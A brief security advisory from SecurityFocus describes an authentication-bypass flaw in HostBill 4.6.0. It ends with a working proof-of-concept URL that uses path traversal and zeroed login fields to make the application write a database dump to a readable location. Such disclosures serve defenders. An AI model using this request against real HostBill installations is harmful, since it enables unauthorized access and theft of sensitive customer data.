source: https://www.securityfocus.com/bid/60958/info

HostBill is prone to an authentication-bypass vulnerability.

Attackers can exploit this issue to gain unauthorized access to the affected application and disclose sensitive information.

HostBill 4.6.0 is vulnerable; other versions may also be affected. 

www.example.com/includes/cpupdate.php?do=backup&filename=../templates_c/DB_Dump.txt&login_username=0&password=0